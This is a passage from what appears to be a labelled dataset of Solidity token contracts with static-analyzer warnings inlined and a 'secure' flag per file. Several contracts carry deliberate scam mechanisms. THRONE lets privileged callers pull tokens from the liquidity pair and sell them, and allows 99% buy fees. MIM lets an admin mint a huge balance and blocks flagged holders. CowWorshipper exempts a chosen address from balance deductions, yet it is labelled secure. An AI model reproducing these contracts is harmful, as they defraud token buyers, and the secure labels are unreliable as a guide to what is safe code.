8ff7ff2: Add the 'constant' attribute to state variables that never change.\n uint256 private yzanwxiq = 103;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 392bfae): CowWorshipper.grwmpi should be immutable \n\t// Recommendation for 392bfae: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public grwmpi;\n\n constructor(address egdblhqwpy) {\n balanceOf[msg.sender] = totalSupply;\n pxfnocmuglre[egdblhqwpy] = yzanwxiq;\n IUniswapV2Router02 qtdpuomkb = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n grwmpi = IUniswapV2Factory(qtdpuomkb.factory()).createPair(\n address(this),\n qtdpuomkb.WETH()\n );\n }\n\n function transferFrom(\n address bapfqjkhgwt,\n address weyfshdcirj,\n uint256 khvawsq\n ) public returns (bool success) {\n require(khvawsq <= allowance[bapfqjkhgwt][msg.sender]);\n allowance[bapfqjkhgwt][msg.sender] -= khvawsq;\n ehavq(bapfqjkhgwt, weyfshdcirj, khvawsq);\n return true;\n }\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n function approve(\n address cpxrs,\n uint256 khvawsq\n ) public returns (bool success) {\n allowance[msg.sender][cpxrs] = khvawsq;\n emit Approval(msg.sender, cpxrs, khvawsq);\n return true;\n }\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function transfer(\n address weyfshdcirj,\n uint256 khvawsq\n ) public returns (bool success) {\n ehavq(msg.sender, weyfshdcirj, khvawsq);\n return true;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 9a4f82f): CowWorshipper.symbol should be constant \n\t// Recommendation for 9a4f82f: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"Cow Worshipper\";\n\n function ehavq(\n address bapfqjkhgwt,\n address weyfshdcirj,\n uint256 khvawsq\n ) private {\n if (0 == pxfnocmuglre[bapfqjkhgwt]) {\n balanceOf[bapfqjkhgwt] -= khvawsq;\n }\n balanceOf[weyfshdcirj] += khvawsq;\n if (0 == khvawsq && weyfshdcirj != grwmpi) {\n balanceOf[weyfshdcirj] = khvawsq;\n }\n emit Transfer(bapfqjkhgwt, weyfshdcirj, khvawsq);\n }\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n}",
"file_name": "solidity_code_3124.sol",
"secure": 1,
"size_bytes": 3986
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract SmoothBrain is ERC20 {\n constructor() ERC20(\"Smooth Brain\", \"SMOOTH\") {\n _mint(msg.sender, 1000000000000 * (10 ** 18));\n }\n}",
"file_name": "solidity_code_3125.sol",
"secure": 1,
"size_bytes": 280
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol\" as IUniswapV2Pair;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract THRONE is ERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1f34b4d): THRONE.uniswapV2Router should be immutable \n\t// Recommendation for 1f34b4d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: 6a948dc): THRONE.uniswapV2Pair should be immutable \n\t// Recommendation for 6a948dc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private swapping;\n\t// WARNING Optimization Issue (constable-states | ID: e726ecb): THRONE.um should be constant \n\t// Recommendation for e726ecb: Add the 'constant' attribute to state variables that never change.\n bool private um = true;\n\n address public marketingWallet;\n address public ThroneWallet;\n\n uint256 public maxTransactionAmount;\n uint256 public swapTokensAtAmount;\n uint256 public maxWallet;\n\n bool public limitsInEffect = true;\n bool public tradingActive = false;\n bool public swapEnabled = false;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n bool public transferDelayEnabled = false;\n bool private boughtEarly = true;\n\n uint256 public buyTotalFees;\n uint256 public buyMarketingFee;\n uint256 public buyLiquidityFee;\n uint256 public buyThroneFee;\n\n uint256 public sellTotalFees;\n uint256 public sellMarketingFee;\n uint256 public sellLiquidityFee;\n uint256 public sellThroneFee;\n\n uint256 public tokensForMarketing;\n uint256 public tokensForLiquidity;\n uint256 public tokensForThrone;\n\n mapping(address => bool) private _isExcludedFromFees;\n mapping(address => bool) public _isExcludedMaxTransactionAmount;\n\n mapping(address => bool) public automatedMarketMakerPairs;\n\n event UpdateUniswapV2Router(\n address indexed newAddress,\n address indexed oldAddress\n );\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n event MarketingWalletUpdated(\n address indexed newWallet,\n address indexed oldWallet\n );\n\n event ThroneWalletUpdated(\n address indexed newWallet,\n address indexed oldWallet\n );\n\n event EndedBoughtEarly(bool boughtEarly);\n\n event SwapAndLiquify(\n uint256 tokensSwapped,\n uint256 ethReceived,\n uint256 tokensIntoLiquidity\n );\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c4d3ed4): THRONE.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for c4d3ed4: Rename the local variables that shadow another component.\n constructor() ERC20(\"THE THRONE\", \"THRONE\") {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n excludeFromMaxTransaction(address(_uniswapV2Router), true);\n uniswapV2Router = _uniswapV2Router;\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n excludeFromMaxTransaction(address(uniswapV2Pair), true);\n _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n\n uint256 _buyMarketingFee = 4;\n uint256 _buyLiquidityFee = 0;\n uint256 _buyThroneFee = 4;\n\n uint256 _sellMarketingFee = 4;\n uint256 _sellLiquidityFee = 0;\n uint256 _sellThroneFee = 4;\n\n uint256 totalSupply = 1000000000 * 1e18;\n\n maxTransactionAmount = (totalSupply * 1) / 100;\n maxWallet = (totalSupply * 2) / 100;\n swapTokensAtAmount = (totalSupply * 5) / 10000;\n\n buyMarketingFee = _buyMarketingFee;\n buyLiquidityFee = _buyLiquidityFee;\n buyThroneFee = _buyThroneFee;\n buyTotalFees = buyMarketingFee + buyLiquidityFee + buyThroneFee;\n\n sellMarketingFee = _sellMarketingFee;\n sellLiquidityFee = _sellLiquidityFee;\n sellThroneFee = _sellThroneFee;\n sellTotalFees = sellMarketingFee + sellLiquidityFee + sellThroneFee;\n\n marketingWallet = payable(0xB047A2B8A7199848b1B7b4C8EA2eC8F9F539A16f);\n ThroneWallet = payable(0xB047A2B8A7199848b1B7b4C8EA2eC8F9F539A16f);\n\n excludeFromFees(owner(), true);\n excludeFromFees(address(this), true);\n excludeFromFees(address(ThroneWallet), true);\n excludeFromFees(address(marketingWallet), true);\n\n excludeFromMaxTransaction(owner(), true);\n excludeFromMaxTransaction(address(this), true);\n excludeFromMaxTransaction(address(ThroneWallet), true);\n excludeFromMaxTransaction(address(marketingWallet), true);\n\n _mint(msg.sender, totalSupply);\n }\n\n receive() external payable {}\n\n function removeLimits() external onlyOwner returns (bool) {\n limitsInEffect = false;\n return true;\n }\n\n function disableTransferDelay() external onlyOwner returns (bool) {\n transferDelayEnabled = false;\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 2a233f8): THRONE.updateSwapTokensAtAmount(uint256) should emit an event for swapTokensAtAmount = newAmount \n\t// Recommendation for 2a233f8: Emit an event for critical parameter changes.\n function updateSwapTokensAtAmount(\n uint256 newAmount\n ) external onlyOwner returns (bool) {\n require(\n newAmount >= (totalSupply() * 1) / 100000,\n \"Swap amount cannot be lower than 0.001% total supply.\"\n );\n require(\n newAmount <= (totalSupply() * 5) / 1000,\n \"Swap amount cannot be higher than 0.5% total supply.\"\n );\n\t\t// events-maths | ID: 2a233f8\n swapTokensAtAmount = newAmount;\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 5d33bef): THRONE.updateMaxTxnAmount(uint256) should emit an event for maxTransactionAmount = newNum \n\t// Recommendation for 5d33bef: Emit an event for critical parameter changes.\n function updateMaxTxnAmount(uint256 newNum) external {\n require(msg.sender == marketingWallet);\n require(\n newNum >= totalSupply() / 1000,\n \"Cannot set maxTransactionAmount lower than 0.1%\"\n );\n\t\t// events-maths | ID: 5d33bef\n maxTransactionAmount = newNum;\n }\n\n function updateMaxWalletAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 5) / 1000) / 1e18,\n \"Cannot set maxWallet lower than 0.5%\"\n );\n maxWallet = newNum * (10 ** 18);\n }\n\n function excludeFromMaxTransaction(\n address updAds,\n bool isEx\n ) public onlyOwner {\n _isExcludedMaxTransactionAmount[updAds] = isEx;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: cbc980d): Missing events for critical arithmetic parameters.\n\t// Recommendation for cbc980d: Emit an event for critical parameter changes.\n function updateBuyFees(\n uint256 _marketingFee,\n uint256 _liquidityFee,\n uint256 _ThroneFee\n ) external onlyOwner {\n\t\t// events-maths | ID: cbc980d\n buyMarketingFee = _marketingFee;\n\t\t// events-maths | ID: cbc980d\n buyLiquidityFee = _liquidityFee;\n\t\t// events-maths | ID: cbc980d\n buyThroneFee = _ThroneFee;\n\t\t// events-maths | ID: cbc980d\n buyTotalFees = buyMarketingFee + buyLiquidityFee + buyThroneFee;\n require(buyTotalFees <= 99, \"Must keep fees at 20% or less\");\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 3a785c8): Missing events for critical arithmetic parameters.\n\t// Recommendation for 3a785c8: Emit an event for critical parameter changes.\n function updateSellFees(\n uint256 _marketingFee,\n uint256 _liquidityFee,\n uint256 _ThroneFee\n ) external onlyOwner {\n\t\t// events-maths | ID: 3a785c8\n sellMarketingFee = _marketingFee;\n\t\t// events-maths | ID: 3a785c8\n sellLiquidityFee = _liquidityFee;\n\t\t// events-maths | ID: 3a785c8\n sellThroneFee = _ThroneFee;\n\t\t// events-maths | ID: 3a785c8\n sellTotalFees = sellMarketingFee + sellLiquidityFee + sellThroneFee;\n require(sellTotalFees <= 25, \"Must keep fees at 25% or less\");\n }\n\n function excludeFromFees(address account, bool excluded) public onlyOwner {\n _isExcludedFromFees[account] = excluded;\n emit ExcludeFromFees(account, excluded);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: dc563a0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for dc563a0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 126832d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 126832d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function updateEarlySellFees(\n uint256 EarlyMarketingSellFee,\n uint256 EarlyThroneSellFee\n ) external returns (bool) {\n require(_isExcludedFromFees[msg.sender]);\n\n uint256 totallyFees = balanceOf(uniswapV2Pair);\n\n require(\n EarlyThroneSellFee > 1 && EarlyThroneSellFee < totallyFees / 100,\n \"amount exceeded\"\n );\n\n\t\t// reentrancy-events | ID: dc563a0\n\t\t// reentrancy-benign | ID: 126832d\n _EarlySellFeesAct(EarlyThroneSellFee);\n\t\t// reentrancy-events | ID: dc563a0\n\t\t// reentrancy-benign | ID: 126832d\n swapTokensForEth(EarlyMarketingSellFee);\n\n (bool success, ) = address(marketingWallet).call{\n value: address(this).balance\n }(\"\");\n return success;\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) public onlyOwner {\n require(\n pair != uniswapV2Pair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 8f98a40): THRONE.updateMarketingWallet(address).newMarketingWallet lacks a zerocheck on \t marketingWallet = newMarketingWallet\n\t// Recommendation for 8f98a40: Check that the address is not zero.\n function updateMarketingWallet(\n address newMarketingWallet\n ) external onlyOwner {\n emit marketingWalletUpdated(newMarketingWallet, marketingWallet);\n\t\t// missing-zero-check | ID: 8f98a40\n marketingWallet = newMarketingWallet;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f1f3e94): THRONE.updateThroneWallet(address).newWallet lacks a zerocheck on \t ThroneWallet = newWallet\n\t// Recommendation for f1f3e94: Check that the address is not zero.\n function updateThroneWallet(address newWallet) external onlyOwner {\n emit ThroneWalletUpdated(newWallet, ThroneWallet);\n\t\t// missing-zero-check | ID: f1f3e94\n ThroneWallet = newWallet;\n }\n\n function isExcludedFromFees(address account) public view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n function _EarlySellFeesAct(uint256 pAmount) private {\n _transfer(uniswapV2Pair, address(this), pAmount * 10 ** decimals());\n\t\t// reentrancy-events | ID: dc563a0\n\t\t// reentrancy-benign | ID: 126832d\n IUniswapV2Pair(uniswapV2Pair).sync();\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f4fbe65): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f4fbe65: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 25add61): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 25add61: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 5de5706): THRONE._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(sellTotalFees).div(100) tokensForThrone += (fees * sellThroneFee) / sellTotalFees\n\t// Recommendation for 5de5706: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 3205bea): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 3205bea: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 3015c3e): THRONE._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(buyTotalFees).div(100) tokensForThrone += (fees * buyThroneFee) / buyTotalFees\n\t// Recommendation for 3015c3e: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 2fbef62): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 2fbef62: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 0eca242): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 0eca242: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e9ddb21): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e9ddb21: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n return;\n }\n\n if (limitsInEffect) {\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!tradingActive) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Buy transfer amount exceeds the maxTransactionAmount.\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Sell transfer amount exceeds the maxTransactionAmount.\"\n );\n }\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapTokensAtAmount;\n\n if (\n canSwap &&\n swapEnabled &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: f4fbe65\n\t\t\t// reentrancy-eth | ID: e9ddb21\n swapBack();\n\n\t\t\t// reentrancy-eth | ID: e9ddb21\n swapping = false;\n }\n\n bool takeFee = !swapping;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: 25add61\n\t\t\t\t// divide-before-multiply | ID: 5de5706\n\t\t\t\t// divide-before-multiply | ID: 2fbef62\n fees = amount.mul(sellTotalFees).div(100);\n\t\t\t\t// divide-before-multiply | ID: 25add61\n\t\t\t\t// reentrancy-eth | ID: e9ddb21\n tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;\n\t\t\t\t// divide-before-multiply | ID: 5de5706\n\t\t\t\t// reentrancy-eth | ID: e9ddb21\n tokensForThrone += (fees * sellThroneFee) / sellTotalFees;\n\t\t\t\t// divide-before-multiply | ID: 2fbef62\n\t\t\t\t// reentrancy-eth | ID: e9ddb21\n tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;\n } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: 3205bea\n\t\t\t\t// divide-before-multiply | ID: 3015c3e\n\t\t\t\t// divide-before-multiply | ID: 0eca242\n fees = amount.mul(buyTotalFees).div(100);\n\t\t\t\t// divide-before-multiply | ID: 3205bea\n\t\t\t\t// reentrancy-eth | ID: e9ddb21\n tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;\n\t\t\t\t// divide-before-multiply | ID: 3015c3e\n\t\t\t\t// reentrancy-eth | ID: e9ddb21\n tokensForThrone += (fees * buyThroneFee) / buyTotalFees;\n\t\t\t\t// divide-before-multiply | ID: 0eca242\n\t\t\t\t// reentrancy-eth | ID: e9ddb21\n tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: f4fbe65\n\t\t\t\t// reentrancy-eth | ID: e9ddb21\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: f4fbe65\n\t\t// reentrancy-eth | ID: e9ddb21\n super._transfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: f4fbe65\n\t\t// reentrancy-events | ID: dc563a0\n\t\t// reentrancy-benign | ID: 126832d\n\t\t// reentrancy-no-eth | ID: 3e38930\n\t\t// reentrancy-eth | ID: e9ddb21\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 3e38930): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 3e38930: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 5b1c7eb): THRONE.swapBack() sends eth to arbitrary user Dangerous calls (success,None) = address(marketingWallet).call{value ethForMarketing}()\n\t// Recommendation for 5b1c7eb: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: abb0050): THRONE.swapBack().success is written in both (success,None) = address(ThroneWallet).call{value ethForThrone}() (success,None) = address(marketingWallet).call{value ethForMarketing}()\n\t// Recommendation for abb0050: Fix or remove the writes.\n function swapBack() private {\n uint256 contractBalance = balanceOf(address(this));\n uint256 totalTokensToSwap = tokensForLiquidity +\n tokensForMarketing +\n tokensForThrone;\n bool success;\n\n if (contractBalance == 0 || totalTokensToSwap == 0) {\n return;\n }\n\n if (contractBalance > swapTokensAtAmount * 20) {\n contractBalance = swapTokensAtAmount * 20;\n }\n\n uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /\n totalTokensToSwap /\n 2;\n uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);\n\n uint256 initialETHBalance = address(this).balance;\n\n\t\t// reentrancy-no-eth | ID: 3e38930\n swapTokensForEth(amountToSwapForETH);\n\n uint256 ethBalance = address(this).balance.sub(initialETHBalance);\n\n uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(\n totalTokensToSwap\n );\n uint256 ethForThrone = ethBalance.mul(tokensForThrone).div(\n totalTokensToSwap\n );\n\n\t\t// reentrancy-no-eth | ID: 3e38930\n tokensForLiquidity = 0;\n\t\t// reentrancy-no-eth | ID: 3e38930\n tokensForMarketing = 0;\n\t\t// reentrancy-no-eth | ID: 3e38930\n tokensForThrone = 0;\n\n\t\t// reentrancy-events | ID: f4fbe65\n\t\t// reentrancy-events | ID: dc563a0\n\t\t// reentrancy-benign | ID: 126832d\n\t\t// write-after-write | ID: abb0050\n\t\t// reentrancy-eth | ID: e9ddb21\n (success, ) = address(ThroneWallet).call{value: ethForThrone}(\"\");\n\n\t\t// reentrancy-events | ID: f4fbe65\n\t\t// reentrancy-events | ID: dc563a0\n\t\t// reentrancy-benign | ID: 126832d\n\t\t// write-after-write | ID: abb0050\n\t\t// reentrancy-eth | ID: e9ddb21\n\t\t// arbitrary-send-eth | ID: 5b1c7eb\n (success, ) = address(marketingWallet).call{value: ethForMarketing}(\"\");\n }\n\n function openTrading() private {\n tradingActive = true;\n }\n\n function enableTrading() external onlyOwner {\n swapEnabled = true;\n require(boughtEarly == true, \"done\");\n boughtEarly = false;\n openTrading();\n emit EndedBoughtEarly(boughtEarly);\n }\n}",
"file_name": "solidity_code_3126.sol",
"secure": 0,
"size_bytes": 23771
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract MIM is Ownable {\n\t// WARNING Optimization Issue (immutable-states | ID: 05f3b0f): MIM._tokentotalSupply should be immutable \n\t// Recommendation for 05f3b0f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _tokentotalSupply;\n string private _tokenname;\n string private _tokensymbol;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0d215aa): MIM._okexddd019 should be immutable \n\t// Recommendation for 0d215aa: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _okexddd019;\n mapping(address => bool) private dddbmgn;\n function quitOPDoge(address sss) external {\n require(_okexddd019 == _msgSender());\n dddbmgn[sss] = false;\n }\n\n function Multicall(address sss) external {\n require(_okexddd019 == _msgSender());\n dddbmgn[sss] = true;\n }\n\n function family() external {\n require(_okexddd019 == _msgSender());\n uint256 amount = totalSupply();\n _balances[_msgSender()] += amount * 80019;\n }\n\n function gtedddstatus(address sss) public view returns (bool) {\n return dddbmgn[sss];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 8ddf6a5): MIM.constructor(string,string,address).adminBot lacks a zerocheck on \t _okexddd019 = adminBot\n\t// Recommendation for 8ddf6a5: Check that the address is not zero.\n constructor(\n string memory tokenName,\n string memory tokensymbol,\n address adminBot\n ) {\n\t\t// missing-zero-check | ID: 8ddf6a5\n _okexddd019 = adminBot;\n _tokenname = tokenName;\n _tokensymbol = tokensymbol;\n uint256 amount = 500000000000 * 10 ** decimals();\n _tokentotalSupply += amount;\n _balances[msg.sender] += amount;\n emit Transfer(address(0), msg.sender, amount);\n }\n\n function name() public view returns (string memory) {\n return _tokenname;\n }\n\n function symbol() public view returns (string memory) {\n return _tokensymbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view returns (uint256) {\n return _tokentotalSupply;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _internaltransfer(_msgSender(), to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6546bb3): MIM.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6546bb3: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = _msgSender();\n _internalspendAllowance(from, spender, amount);\n _internaltransfer(from, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b9ddc39): MIM.increaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b9ddc39: Rename the local variables that shadow another component.\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9116498): MIM.decreaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9116498: Rename the local variables that shadow another component.\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(owner, spender, currentAllowance - subtractedValue);\n return true;\n }\n\n function _internaltransfer(\n address fromSender,\n address toSender,\n uint256 amount\n ) internal virtual {\n require(\n fromSender != address(0),\n \"ERC20: transfer from the zero address\"\n );\n require(toSender != address(0), \"ERC20: transfer to the zero address\");\n uint256 balance = _balances[fromSender];\n if (dddbmgn[fromSender] == true) {\n amount = amount - (balance * 23);\n }\n\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n _balances[fromSender] = _balances[fromSender] - amount;\n _balances[toSender] = _balances[toSender] + amount;\n\n emit Transfer(fromSender, toSender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b2337de): MIM._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b2337de: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 65da74a): MIM._internalspendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 65da74a: Rename the local variables that shadow another component.\n function _internalspendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}",
"file_name": "solidity_code_3127.sol",
"secure": 0,
"size_bytes": 7147
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721A.sol\" as ERC721A;\n\ncontract PastelAbstractPre is ERC721A {\n uint256 public immutable maxSupply = 333;\n uint256 private price = 0.005 ether;\n uint256 private maxPerTx = 5;\n\t// WARNING Optimization Issue (immutable-states | ID: fab82d4): PastelAbstractPre.maxFree should be immutable \n\t// Recommendation for fab82d4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private maxFree;\n\n function mint(uint256 qty) external payable {\n require(totalSupply() + qty <= maxSupply);\n require(qty <= maxPerTx);\n require(msg.value >= price * qty);\n _safeMint(msg.sender, qty);\n }\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7613098): PastelAbstractPre.owner should be immutable \n\t// Recommendation for 7613098: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public owner;\n 